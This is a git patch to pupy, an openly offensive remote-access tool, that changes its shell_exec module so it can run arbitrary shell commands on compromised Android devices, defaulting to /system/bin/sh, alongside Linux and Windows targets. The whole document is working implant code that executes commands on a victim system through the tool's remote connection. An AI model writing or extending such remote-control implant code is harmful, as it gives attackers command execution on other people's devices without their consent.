From 3c6654375872afe895fffae2db3ef8b6f227e3df Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Thu, 21 Jan 2016 19:20:24 +0100 Subject: [PATCH] making shell_exec work on android --- pupy/modules/shell_exec.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/pupy/modules/shell_exec.py b/pupy/modules/shell_exec.py index cb5d6480..569beb4d 100644 --- a/pupy/modules/shell_exec.py +++ b/pupy/modules/shell_exec.py @@ -10,11 +10,19 @@ class ShellExec(PupyModule): """ execute shell commands on a remote system """ def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__) + self.arg_parser.add_argument('-s', '--shell', help="default to /bin/sh on linux or cmd.exe on windows") self.arg_parser.add_argument('argument') def run(self, args): res="" try: - res=self.client.conn.modules.subprocess.check_output(args.argument, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True) + if self.client.is_android(): + if args.shell is None: + args.shell="/system/bin/sh" + if args.shell is None: + res=self.client.conn.modules.subprocess.check_output(args.argument, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True) + else: + command=[args.shell, '-c'] + args.argument.split() + res=self.client.conn.modules.subprocess.check_output(command, stderr=subprocess.PIPE, stdin=subprocess.PIPE, universal_newlines=True) except Exception as e: if hasattr(e,'output') and e.output: res=e.output